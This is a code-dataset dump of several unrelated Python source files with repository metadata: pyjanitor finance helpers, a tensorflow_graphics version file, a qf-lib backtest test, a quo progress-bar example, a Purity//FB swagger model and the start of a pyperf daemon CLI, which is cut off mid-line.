"KHM", "Kiribati": "KIR", "St. Kitts and Nevis": "KNA", "Korea, Rep.": "KOR", "Kuwait": "KWT", "Latin America & Caribbean (excluding high income)": "LAC", "Lao PDR": "LAO", "Lebanon": "LBN", "Liberia": "LBR", "Libya": "LBY", "St. Lucia": "LCA", "Latin America & Caribbean": "LCN", "Least developed countries: UN classification": "LDC", "Low income": "LIC", "Liechtenstein": "LIE", "Sri Lanka": "LKA", "Lower middle income": "LMC", "Low & middle income": "LMY", "Lesotho": "LSO", "Late-demographic dividend": "LTE", "Lithuania": "LTU", "Luxembourg": "LUX", "Latvia": "LVA", "Macao SAR, China": "MAC", "St. Martin (French part)": "MAF", "Morocco": "MAR", "Monaco": "MCO", "Moldova": "MDA", "Madagascar": "MDG", "Maldives": "MDV", "Middle East & North Africa": "MEA", "Mexico": "MEX", "Marshall Islands": "MHL", "Middle income": "MIC", "North Macedonia": "MKD", "Mali": "MLI", "Malta": "MLT", "Myanmar": "MMR", "Middle East & North Africa (excluding high income)": "MNA", "Montenegro": "MNE", "Mongolia": "MNG", "Northern Mariana Islands": "MNP", "Mozambique": "MOZ", "Mauritania": "MRT", "Mauritius": "MUS", "Malawi": "MWI", "Malaysia": "MYS", "North America": "NAC", "Namibia": "NAM", "New Caledonia": "NCL", "Niger": "NER", "Nigeria": "NGA", "Nicaragua": "NIC", "Netherlands": "NLD", "Norway": "NOR", "Nepal": "NPL", "Nauru": "NRU", "New Zealand": "NZL", "OECD members": "OED", "Oman": "OMN", "Other small states": "OSS", "Pakistan": "PAK", "Panama": "PAN", "Peru": "PER", "Philippines": "PHL", "Palau": "PLW", "Papua New Guinea": "PNG", "Poland": "POL", "Pre-demographic dividend": "PRE", "Puerto Rico": "PRI", "Korea, Dem. People's Rep.": "PRK", "Portugal": "PRT", "Paraguay": "PRY", "West Bank and Gaza": "PSE", "Pacific island small states": "PSS", "Post-demographic dividend": "PST", "French Polynesia": "PYF", "Qatar": "QAT", "Romania": "ROU", "Russian Federation": "RUS", "Rwanda": "RWA", "South Asia": "SAS", "Saudi Arabia": "SAU", "Sudan": "SDN", "Senegal": "SEN", "Singapore": "SGP", "Solomon Islands": "SLB", "Sierra Leone": "SLE", "El Salvador": "SLV", "San Marino": "SMR", "Somalia": "SOM", "Serbia": "SRB", "Sub-Saharan Africa (excluding high income)": "SSA", "South Sudan": "SSD", "Sub-Saharan Africa": "SSF", "Small states": "SST", "Sao Tome and Principe": "STP", "Suriname": "SUR", "Slovak Republic": "SVK", "Slovenia": "SVN", "Sweden": "SWE", "Eswatini": "SWZ", "Sint Maarten (Dutch part)": "SXM", "Seychelles": "SYC", "Syrian Arab Republic": "SYR", "Turks and Caicos Islands": "TCA", "Chad": "TCD", "East Asia & Pacific (IDA & IBRD countries)": "TEA", "Europe & Central Asia (IDA & IBRD countries)": "TEC", "Togo": "TGO", "Thailand": "THA", "Tajikistan": "TJK", "Turkmenistan": "TKM", "Latin America & the Caribbean (IDA & IBRD countries)": "TLA", "Timor-Leste": "TLS", "Middle East & North Africa (IDA & IBRD countries)": "TMN", "Tonga": "TON", "South Asia (IDA & IBRD)": "TSA", "Sub-Saharan Africa (IDA & IBRD countries)": "TSS", "Trinidad and Tobago": "TTO", "Tunisia": "TUN", "Turkey": "TUR", "Tuvalu": "TUV", "Tanzania": "TZA", "Uganda": "UGA", "Ukraine": "UKR", "Upper middle income": "UMC", "Uruguay": "URY", "United States": "USA", "Uzbekistan": "UZB", "St. Vincent and the Grenadines": "VCT", "Venezuela, RB": "VEN", "British Virgin Islands": "VGB", "Virgin Islands (U.S.)": "VIR", "Vietnam": "VNM", "Vanuatu": "VUT", "World": "WLD", "Samoa": "WSM", "Kosovo": "XKX", "Yemen, Rep.": "YEM", "South Africa": "ZAF", "Zambia": "ZMB", "Zimbabwe": "ZWE", } def _check_currency(currency: str): if currency not in currency_set: raise ValueError( f"currency {currency} not in supported currency set, " f"{currency_set}" ) def _check_wb_country(country: str): if (country not in wb_country_dict.keys()) & ( country not in wb_country_dict.values() ): raise ValueError( f"country {country} not in supported World Bank country dict, " f"{wb_country_dict}" ) def _check_wb_years(year: int): if year < 1960: raise ValueError("year value must be 1960 or later") # Currency conversion for Pandas DataFrame column. # Helper function for `convert_currency` method. # The API used is https://exchangeratesapi.io/. # """ egister_dataframe_method @deprecated_alias(colname="column_name") def convert_currency( df: pd.DataFrame, api_key: str, column_name: str = None, from_currency: str = None, to_currency: str = None, historical_date: date = None, make_new_column: bool = False, ) -> pd.DataFrame: raise JanitorError( "The `convert_currency` function has been temporarily disabled due to " "exchangeratesapi.io disallowing free pinging of its API. " "(Our tests started to fail due to this issue.) " "There is no easy way around this problem " "except to find a new API to call on." "Please comment on issue #829 " "(https://github.com/pyjanitor-devs/pyjanitor/issues/829) " "if you know of an alternative API that we can call on, " "otherwise the function will be removed in pyjanitor's 1.0 release." ) # @pf.register_dataframe_method # @deprecated_alias(colname="column_name") # def convert_currency( # df: pd.DataFrame, # api_key: str, # column_name: str = None, # from_currency: str = None, # to_currency: str = None, # historical_date: date = None, # make_new_column: bool = False, # ) -> pd.DataFrame: # """ # Converts a column from one currency to another, with an option to # convert based on historical exchange values. # On April 10 2021, # we discovered that there was no more free API available. # Thus, an API key is required to perform currency conversion. # API keys should be set as an environment variable, # for example, `EXCHANGE_RATE_API_KEY``, # and then passed into the function # by calling on `os.getenv("EXCHANGE_RATE_APIKEY")``. # :param df: A pandas dataframe. # :param api_key: exchangeratesapi.io API key. # :param column_name: Name of the new column. Should be a string, in order # for the column name to be compatible with the Feather binary # format (this is a useful thing to have). # :param from_currency: The base currency to convert from. # May be any of: currency_set = {"AUD", "BGN", "BRL", "CAD", "CHF", # "CNY", "CZK", "DKK", "EUR", "GBP", "HKD", "HRK", "HUF", "IDR", # "ILS", "INR", "ISK", "JPY", "KRW", "MXN", "MYR", "NOK", "NZD", # "PHP", "PLN", "RON", "RUB", "SEK", "SGD", "THB", "TRY", "USD", # "ZAR"} # :param to_currency: The target currency to convert to. # May be any of: currency_set = {"AUD", "BGN", "BRL", "CAD", "CHF", # "CNY", "CZK", "DKK", "EUR", "GBP", "HKD", "HRK", "HUF", "IDR", # "ILS", "INR", "ISK", "JPY", "KRW", "MXN", "MYR", "NOK", "NZD", # "PHP", "PLN", "RON", "RUB", "SEK", "SGD", "THB", "TRY", "USD", # "ZAR"} # :param historical_date: If supplied, # get exchange rate on a certain date. # If not supplied, get the latest exchange rate. # The exchange rates go back to Jan. 4, 1999. # :param make_new_column: Generates new column # for converted currency if True, # otherwise, converts currency in place. # :returns: The dataframe with converted currency column. # .. code-block:: python # import pandas as pd # import janitor # from datetime import date # data_dict = { # "a": [1.23452345, 2.456234, 3.2346125] * 3, # "Bell__Chart": [1/3, 2/7, 3/2] * 3, # "decorated-elephant": [1/234, 2/13, 3/167] * 3, # "animals": ["rabbit", "leopard", "lion"] * 3, # "cities": ["Cambridge", "Shanghai", "Basel"] * 3, # } # example_dataframe = pd.DataFrame(data_dict) # Example: Converting a column from one currency to another # using rates from 01/01/2018. # .. code-block:: python # example_dataframe.convert_currency('a', from_currency='USD', # to_currency='EUR', historical_date=date(2018,1,1)) # Output: # .. code-block:: python # a Bell__Chart decorated-elephant animals cities # 0 1.029370 0.333333 0.004274 rabbit Cambridge # 1 2.048056 0.285714 0.153846 leopard Shanghai # 2 2.697084 1.500000 0.017964 lion Basel # 3 1.029370 0.333333 0.004274 rabbit Cambridge # 4 2.048056 0.285714 0.153846 leopard Shanghai # 5 2.697084 1.500000 0.017964 lion Basel # 6 1.029370 0.333333 0.004274 rabbit Cambridge # 7 2.048056 0.285714 0.153846 leopard Shanghai # 8 2.697084 1.500000 0.017964 lion Basel # """ # rate = _convert_currency( # api_key, from_currency, to_currency, historical_date # ) # if make_new_column: # # new_column_name = column_name + "_" + to_currency # column_name = column_name + "_" + to_currency # df = df.assign(column_name=df[column_name] * rate) # return df @lru_cache(maxsize=32) def _inflate_currency( country: str = None, currency_year: int = None, to_year: int = None ) -> float: # Check all inputs are correct data type check("country", country, [str]) check("currency_year", currency_year, [int]) check("to_year", to_year, [int]) # Get WB country abbreviation _check_wb_country(country) if country in wb_country_dict.keys(): country = wb_country_dict[country] else: # `country` is already a correct abbreviation; do nothing pass _check_wb_years(currency_year) _check_wb_years(to_year) url = ( "https://api.worldbank.org/v2/country/" + country + "/indicator/FP.CPI.TOTL?date=" + str(min(currency_year, to_year)) + ":" + str(max(currency_year, to_year)) + "&format=json" ) result = requests.get(url) if result.status_code != 200: raise ConnectionError( "WB Indicator API failed to receive a 200 " "response from the server. " "Please try again later." ) # The API returns a list of two items; # the second item in the list is what we want inflation_dict = json.loads(result.text)[1] # Error checking if inflation_dict is None: raise ValueError( "The WB Indicator API returned nothing. " "This likely means the currency_year and " "to_year are outside of the year range for " "which the WB has inflation data for the " "specified country." ) # Create new dict with only the year and inflation values inflation_dict_ready = { int(inflation_dict[i]["date"]): float(inflation_dict[i]["value"]) for i in range(len(inflation_dict)) if inflation_dict[i]["value"] is not None } # Error catching if currency_year not in inflation_dict_ready.keys(): raise ValueError( f"The WB Indicator API does not have inflation " f"data for {currency_year} for {country}." ) if to_year not in inflation_dict_ready.keys(): raise ValueError( f"The WB Indicator API does not have inflation " f"data for {to_year} for {country}." ) inflator = ( inflation_dict_ready[to_year] / inflation_dict_ready[currency_year] ) return inflator @pf.register_dataframe_method def inflate_currency( df: pd.DataFrame, column_name: str = None, country: str = None, currency_year: int = None, to_year: int = None, make_new_column: bool = False, ) -> pd.DataFrame: inflator = _inflate_currency(country, currency_year, to_year) if make_new_column: new_column_name = column_name + "_" + str(to_year) df[new_column_name] = df[column_name] * inflator else: df[column_name] = df[column_name] * inflator return df def convert_stock(stock_symbol: str) -> str: if is_connected("www.google.com"): stock_symbol = stock_symbol.upper() return get_symbol(stock_symbol) else: raise ConnectionError( "Connection Error: Client Not Connected to Internet" ) def get_symbol(symbol: str): result = requests.get( "http://d.yimg.com/autoc." + "finance.yahoo.com/autoc?query={}&region=1&lang=en".format(symbol) ).json() for x in result["ResultSet"]["Result"]: if x["symbol"] == symbol: return x["name"] else: return None

true

790b100111e59e9ef5eca65c62ba2c50de187873

906

py

Python

tensorflow_graphics/version.py

drebain/graphics

c84b7599d1f8a55ccbdd589c1a845494c17c2784

[ "Apache-2.0" ]

1

2021-06-30T14:22:50.000Z

tensorflow_graphics/version.py

drebain/graphics

c84b7599d1f8a55ccbdd589c1a845494c17c2784

[ "Apache-2.0" ]

null

tensorflow_graphics/version.py

drebain/graphics

c84b7599d1f8a55ccbdd589c1a845494c17c2784

[ "Apache-2.0" ]

1

2019-10-10T06:16:30.000Z

#Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Defines tensorflow_graphics version information (https://semver.org/).""" _MAJOR_VERSION = "1" _MINOR_VERSION = "0" _PATCH_VERSION = "0" _VERSION_SUFFIX = "" __version__ = ".".join([ _MAJOR_VERSION, _MINOR_VERSION, _PATCH_VERSION, ]) if _VERSION_SUFFIX: __version__ = "{}-{}".format(__version__, _VERSION_SUFFIX)

31.241379

76

0.743929

_MAJOR_VERSION = "1" _MINOR_VERSION = "0" _PATCH_VERSION = "0" _VERSION_SUFFIX = "" __version__ = ".".join([ _MAJOR_VERSION, _MINOR_VERSION, _PATCH_VERSION, ]) if _VERSION_SUFFIX: __version__ = "{}-{}".format(__version__, _VERSION_SUFFIX)

true

790b1017b47f0b31f732106e2f303d9654e402d9

5,977

py

Python

qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py

webclinic017/qf-lib

96463876719bba8a76c8269cef76addf3a2d836d

[ "Apache-2.0" ]

198

2019-08-16T15:09:23.000Z

2022-03-30T12:44:00.000Z

qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py

webclinic017/qf-lib

96463876719bba8a76c8269cef76addf3a2d836d

[ "Apache-2.0" ]

13

2021-01-07T10:15:19.000Z

2022-03-29T13:01:47.000Z

qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py

webclinic017/qf-lib

96463876719bba8a76c8269cef76addf3a2d836d

[ "Apache-2.0" ]

29

2019-08-16T15:21:28.000Z

2022-02-23T09:53:49.000Z

# Copyright 2016-present CERN – European Organization for Nuclear Research # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import numpy as np import pandas as pd from numpy.testing import assert_equal, assert_almost_equal from qf_lib.backtesting.events.time_event.regular_time_event.market_close_event import MarketCloseEvent from qf_lib.backtesting.events.time_event.regular_time_event.market_open_event import MarketOpenEvent from qf_lib.common.enums.frequency import Frequency from qf_lib.common.enums.price_field import PriceField from qf_lib.common.utils.dateutils.date_format import DateFormat from qf_lib.common.utils.dateutils.string_to_date import str_to_date from qf_lib.containers.qf_data_array import QFDataArray from qf_lib_tests.integration_tests.backtesting.alpha_model_strategy_testers.test_alpha_model_strategy_for_stop_losses import \ TestAlphaModelStrategy class TestAlphaModelIntradayStrategy(TestAlphaModelStrategy): data_start_date = str_to_date("2014-12-25 00:00:00.00", DateFormat.FULL_ISO) data_end_date = str_to_date("2015-02-28 23:59:59.00", DateFormat.FULL_ISO) end_date = str_to_date("2015-02-28 13:30:00.00", DateFormat.FULL_ISO) frequency = Frequency.MIN_1 def test_stop_losses(self): expected_transactions_quantities = \ [8130, -127, 1, -8004, 7454, -58, -7396, 6900, -6900, 6390, -44, -6346, 5718, -36] result_transactions_quantities = [t.quantity for t in self.transactions] assert_equal(expected_transactions_quantities, result_transactions_quantities) expected_transactions_prices = [125, 130, 135, 235.6, 255, 260, 259.35, 280, 264.1, 285, 290, 282, 315, 320] result_transactions_prices = [t.price for t in self.transactions] assert_almost_equal(expected_transactions_prices, result_transactions_prices) expected_portfolio_values = [1024390, 1064659, 1064659, 1064659, 1104677, 1144697, 1184717, 1224737, 1264757, 1264757, 1264757, 1304777, 1344797, 1384817, 1424837, 1464857, 1464857, 1464857, 1504877, 1544897, 1584917, 1624937, 1664957, 1664957, 1664957, 1704977, 1744997, 1785017, 1825037, 1865057, 1865057, 1865057, 1905077, 1945097, 1985117, 1885867.4, 1908229.4, 1908229.4, 1908229.4, 1945325.4, 1982305.4, 2019285.4, 1918330, 1808620, 1808620, 1808620, 1827790, 1859608, 1891338, 1923068, 1954798, 1954798, 1954798, 1789802, 1806956, 1835438, 1863848, 1892258, 1892258] assert_almost_equal(expected_portfolio_values, list(self.portfolio.portfolio_eod_series())) def _make_mock_data_array(self, tickers, fields): all_dates_market_open = pd.date_range(start=self.data_start_date + MarketOpenEvent.trigger_time(), end=self.data_end_date + MarketOpenEvent.trigger_time(), freq="B") all_dates_market_close = pd.date_range(start=self.data_start_date + MarketCloseEvent.trigger_time() - Frequency.MIN_1.time_delta(), end=self.data_end_date + MarketCloseEvent.trigger_time() - Frequency.MIN_1.time_delta(), freq="B") num_of_dates = len(all_dates_market_open) num_of_tickers = len(tickers) num_of_fields = len(fields) start_value = 100.0 values = np.arange(start_value, num_of_dates * num_of_tickers * num_of_fields + start_value) reshaped_values = np.reshape(values, (num_of_dates, num_of_tickers, num_of_fields)) mocked_result_market_open = QFDataArray.create(all_dates_market_open, tickers, fields, data=reshaped_values) mocked_result_market_close = QFDataArray.create(all_dates_market_close, tickers, fields, data=reshaped_values) mocked_result_market_close.loc[:, :, PriceField.Low] -= 5.0 mocked_result_market_close.loc[:, :, PriceField.High] += 5.0 all_dates = all_dates_market_open.union(all_dates_market_close) mocked_result = QFDataArray.create(all_dates, tickers, fields) mocked_result.loc[all_dates_market_open, :, :] = mocked_result_market_open.loc[:, :, :] mocked_result.loc[all_dates_market_close, :, :] = mocked_result_market_close.loc[:, :, :] self._add_test_cases(mocked_result, tickers) return mocked_result def _add_test_cases(self, mocked_result, tickers): # single low price breaking the stop level mocked_result.loc[ str_to_date('2015-02-05 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 15.0 # two consecutive low prices breaking the stop level mocked_result.loc[ str_to_date('2015-02-12 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 15.0 mocked_result.loc[ str_to_date('2015-02-13 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 15.0 # single open price breaking the stop level mocked_result.loc[ str_to_date('2015-02-23 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 25.0 mocked_result.loc[str_to_date('2015-02-23 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Open] = \ mocked_result.loc[str_to_date('2015-02-23 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low]

60.373737

145

0.704367

import numpy as np import pandas as pd from numpy.testing import assert_equal, assert_almost_equal from qf_lib.backtesting.events.time_event.regular_time_event.market_close_event import MarketCloseEvent from qf_lib.backtesting.events.time_event.regular_time_event.market_open_event import MarketOpenEvent from qf_lib.common.enums.frequency import Frequency from qf_lib.common.enums.price_field import PriceField from qf_lib.common.utils.dateutils.date_format import DateFormat from qf_lib.common.utils.dateutils.string_to_date import str_to_date from qf_lib.containers.qf_data_array import QFDataArray from qf_lib_tests.integration_tests.backtesting.alpha_model_strategy_testers.test_alpha_model_strategy_for_stop_losses import \ TestAlphaModelStrategy class TestAlphaModelIntradayStrategy(TestAlphaModelStrategy): data_start_date = str_to_date("2014-12-25 00:00:00.00", DateFormat.FULL_ISO) data_end_date = str_to_date("2015-02-28 23:59:59.00", DateFormat.FULL_ISO) end_date = str_to_date("2015-02-28 13:30:00.00", DateFormat.FULL_ISO) frequency = Frequency.MIN_1 def test_stop_losses(self): expected_transactions_quantities = \ [8130, -127, 1, -8004, 7454, -58, -7396, 6900, -6900, 6390, -44, -6346, 5718, -36] result_transactions_quantities = [t.quantity for t in self.transactions] assert_equal(expected_transactions_quantities, result_transactions_quantities) expected_transactions_prices = [125, 130, 135, 235.6, 255, 260, 259.35, 280, 264.1, 285, 290, 282, 315, 320] result_transactions_prices = [t.price for t in self.transactions] assert_almost_equal(expected_transactions_prices, result_transactions_prices) expected_portfolio_values = [1024390, 1064659, 1064659, 1064659, 1104677, 1144697, 1184717, 1224737, 1264757, 1264757, 1264757, 1304777, 1344797, 1384817, 1424837, 1464857, 1464857, 1464857, 1504877, 1544897, 1584917, 1624937, 1664957, 1664957, 1664957, 1704977, 1744997, 1785017, 1825037, 1865057, 1865057, 1865057, 1905077, 1945097, 1985117, 1885867.4, 1908229.4, 1908229.4, 1908229.4, 1945325.4, 1982305.4, 2019285.4, 1918330, 1808620, 1808620, 1808620, 1827790, 1859608, 1891338, 1923068, 1954798, 1954798, 1954798, 1789802, 1806956, 1835438, 1863848, 1892258, 1892258] assert_almost_equal(expected_portfolio_values, list(self.portfolio.portfolio_eod_series())) def _make_mock_data_array(self, tickers, fields): all_dates_market_open = pd.date_range(start=self.data_start_date + MarketOpenEvent.trigger_time(), end=self.data_end_date + MarketOpenEvent.trigger_time(), freq="B") all_dates_market_close = pd.date_range(start=self.data_start_date + MarketCloseEvent.trigger_time() - Frequency.MIN_1.time_delta(), end=self.data_end_date + MarketCloseEvent.trigger_time() - Frequency.MIN_1.time_delta(), freq="B") num_of_dates = len(all_dates_market_open) num_of_tickers = len(tickers) num_of_fields = len(fields) start_value = 100.0 values = np.arange(start_value, num_of_dates * num_of_tickers * num_of_fields + start_value) reshaped_values = np.reshape(values, (num_of_dates, num_of_tickers, num_of_fields)) mocked_result_market_open = QFDataArray.create(all_dates_market_open, tickers, fields, data=reshaped_values) mocked_result_market_close = QFDataArray.create(all_dates_market_close, tickers, fields, data=reshaped_values) mocked_result_market_close.loc[:, :, PriceField.Low] -= 5.0 mocked_result_market_close.loc[:, :, PriceField.High] += 5.0 all_dates = all_dates_market_open.union(all_dates_market_close) mocked_result = QFDataArray.create(all_dates, tickers, fields) mocked_result.loc[all_dates_market_open, :, :] = mocked_result_market_open.loc[:, :, :] mocked_result.loc[all_dates_market_close, :, :] = mocked_result_market_close.loc[:, :, :] self._add_test_cases(mocked_result, tickers) return mocked_result def _add_test_cases(self, mocked_result, tickers): mocked_result.loc[ str_to_date('2015-02-05 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 15.0 mocked_result.loc[ str_to_date('2015-02-12 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 15.0 mocked_result.loc[ str_to_date('2015-02-13 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 15.0 mocked_result.loc[ str_to_date('2015-02-23 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low] -= 25.0 mocked_result.loc[str_to_date('2015-02-23 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Open] = \ mocked_result.loc[str_to_date('2015-02-23 19:59:00.00', DateFormat.FULL_ISO), tickers[0], PriceField.Low]

true

790b10de739422fdc1702d4f47f6221000801c25

1,572

py

Python

examples/progress/many-parallel-tasks.py

scalabli/quo

70b6d4129ee705930f1f8a792fc4c9247d973f9d

[ "MIT" ]

3

2022-03-13T13:22:35.000Z

2022-03-18T08:22:51.000Z

examples/progress/many-parallel-tasks.py

scalabli/quo

70b6d4129ee705930f1f8a792fc4c9247d973f9d

[ "MIT" ]

1

2022-03-21T16:29:54.000Z

examples/progress/many-parallel-tasks.py

scalabli/quo

70b6d4129ee705930f1f8a792fc4c9247d973f9d

[ "MIT" ]

null

#!/usr/bin/env python """ More complex demonstration of what's possible with the progress bar. """ import threading import time from quo.text import Text from quo.progress import ProgressBar def main(): with ProgressBar( title=Text("Example of many parallel tasks."), bottom_toolbar=Text("[Control-L] clear [Control-C] abort"), ) as pb: def run_task(label, total, sleep_time): for i in pb(range(total), label=label): time.sleep(sleep_time) threads = [ threading.Thread(target=run_task, args=("First task", 50, 0.1)), threading.Thread(target=run_task, args=("Second task", 100, 0.1)), threading.Thread(target=run_task, args=("Third task", 8, 3)), threading.Thread(target=run_task, args=("Fourth task", 200, 0.1)), threading.Thread(target=run_task, args=("Fifth task", 40, 0.2)), threading.Thread(target=run_task, args=("Sixth task", 220, 0.1)), threading.Thread(target=run_task, args=("Seventh task", 85, 0.05)), threading.Thread(target=run_task, args=("Eight task", 200, 0.05)), ] for t in threads: t.daemon = True t.start() # Wait for the threads to finish. We use a timeout for the join() call, # because on Windows, join cannot be interrupted by Control-C or any other # signal. for t in threads: while t.is_alive(): t.join(timeout=0.5) if __name__ == "__main__": main()

34.173913

82

0.592875

import threading import time from quo.text import Text from quo.progress import ProgressBar def main(): with ProgressBar( title=Text("Example of many parallel tasks."), bottom_toolbar=Text("[Control-L] clear [Control-C] abort"), ) as pb: def run_task(label, total, sleep_time): for i in pb(range(total), label=label): time.sleep(sleep_time) threads = [ threading.Thread(target=run_task, args=("First task", 50, 0.1)), threading.Thread(target=run_task, args=("Second task", 100, 0.1)), threading.Thread(target=run_task, args=("Third task", 8, 3)), threading.Thread(target=run_task, args=("Fourth task", 200, 0.1)), threading.Thread(target=run_task, args=("Fifth task", 40, 0.2)), threading.Thread(target=run_task, args=("Sixth task", 220, 0.1)), threading.Thread(target=run_task, args=("Seventh task", 85, 0.05)), threading.Thread(target=run_task, args=("Eight task", 200, 0.05)), ] for t in threads: t.daemon = True t.start() for t in threads: while t.is_alive(): t.join(timeout=0.5) if __name__ == "__main__": main()

true

790b10e66ba6f6755bae0c6eb5fe3a10af76ed1c

4,266

py

Python

purity_fb/purity_fb_1dot5/models/hardware_connector_response.py

unixtreme/purity_fb_python_client

e836afe9804ffa99f74bf4b5202f181c3c04d9df

[ "Apache-2.0" ]

null

purity_fb/purity_fb_1dot5/models/hardware_connector_response.py

unixtreme/purity_fb_python_client

e836afe9804ffa99f74bf4b5202f181c3c04d9df

[ "Apache-2.0" ]

null

purity_fb/purity_fb_1dot5/models/hardware_connector_response.py

unixtreme/purity_fb_python_client

e836afe9804ffa99f74bf4b5202f181c3c04d9df

[ "Apache-2.0" ]

null

# coding: utf-8 """ Purity//FB REST Client Client for Purity//FB REST API (1.0), developed by [Pure Storage, Inc](http://www.purestorage.com/). Documentations can be found at [purity-fb.readthedocs.io](http://purity-fb.readthedocs.io/). OpenAPI spec version: 1.5 Contact: info@purestorage.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class HardwareConnectorResponse(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'pagination_info': 'PaginationInfo', 'items': 'list[HardwareConnector]' } attribute_map = { 'pagination_info': 'pagination_info', 'items': 'items' } def __init__(self, pagination_info=None, items=None): """ HardwareConnectorResponse - a model defined in Swagger """ self._pagination_info = None self._items = None if pagination_info is not None: self.pagination_info = pagination_info if items is not None: self.items = items @property def pagination_info(self): """ Gets the pagination_info of this HardwareConnectorResponse. pagination information, only available in GET requests :return: The pagination_info of this HardwareConnectorResponse. :rtype: PaginationInfo """ return self._pagination_info @pagination_info.setter def pagination_info(self, pagination_info): """ Sets the pagination_info of this HardwareConnectorResponse. pagination information, only available in GET requests :param pagination_info: The pagination_info of this HardwareConnectorResponse. :type: PaginationInfo """ self._pagination_info = pagination_info @property def items(self): """ Gets the items of this HardwareConnectorResponse. a list of hardware connectors :return: The items of this HardwareConnectorResponse. :rtype: list[HardwareConnector] """ return self._items @items.setter def items(self, items): """ Sets the items of this HardwareConnectorResponse. a list of hardware connectors :param items: The items of this HardwareConnectorResponse. :type: list[HardwareConnector] """ self._items = items def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ if not isinstance(other, HardwareConnectorResponse): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other

27.701299

197

0.585795

from pprint import pformat from six import iteritems import re class HardwareConnectorResponse(object): swagger_types = { 'pagination_info': 'PaginationInfo', 'items': 'list[HardwareConnector]' } attribute_map = { 'pagination_info': 'pagination_info', 'items': 'items' } def __init__(self, pagination_info=None, items=None): self._pagination_info = None self._items = None if pagination_info is not None: self.pagination_info = pagination_info if items is not None: self.items = items @property def pagination_info(self): return self._pagination_info @pagination_info.setter def pagination_info(self, pagination_info): self._pagination_info = pagination_info @property def items(self): return self._items @items.setter def items(self, items): self._items = items def to_dict(self): result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): return pformat(self.to_dict()) def __repr__(self): return self.to_str() def __eq__(self, other): if not isinstance(other, HardwareConnectorResponse): return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other

true

790b1144d75491d0b25d7dba6e366933b0948fd9

3,964

py

Python

pyperf/cmd/daemons.py

kevinconway/PyPerf

5aaf9943bb6d979e2f42229ed629816bc3ca1fb4

[ "Apache-2.0" ]

null

pyperf/cmd/daemons.py

kevinconway/PyPerf

5aaf9943bb6d979e2f42229ed629816bc3ca1fb4

[ "Apache-2.0" ]

2

2015-07-12T19:55:25.000Z

2016-01-30T14:32:11.000Z

pyperf/cmd/daemons.py

kevinconway/PyPerf

5aaf9943bb6d979e2f42229ed629816bc3ca1fb4

[ "Apache-2.0" ]

null

"""Commands for starting daemons.""" from __future__ import division from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import argparse import pprint import confpy.api import confpy.core.option from .. import messages cfg = confpy.api.Configuration( transport=confpy.api.Namespace( description='Message transport options.', source=confpy.core.option.Option( description='The transport to fetch new requests from.', required=True, ), error=confpy.core.option.Option( description='The transport to which errors are written.', required=True, ), result=confpy.core.option.Option( description='The transport to which results are written.', required=True, ), ), daemon=confpy.api.Namespace( description='Long running daemon options.', profiler=confpy.core.option.Option( description='The profiler implementation to use.', required=True, ), process=confpy.core.option.Option( description='The daemon interface implemention to use.', required=True, ), pidfile=confpy.api.StringOption( description='The location to use as a pidfile.', required=True, ), ), ) def _common_args(): """ArgumentParser setup for all CLI commands.""" parser = argparse.ArgumentParser( description='Start a new profiler process.' ) parser.add_argument( '--config', required=True, help='The Python configuration file for the process.', ) return parser def profiler_main(): """Manage a profiler daemon.""" parser = _common_args() parser.add_argument( '--action', required=True, choices=('start', 'stop', 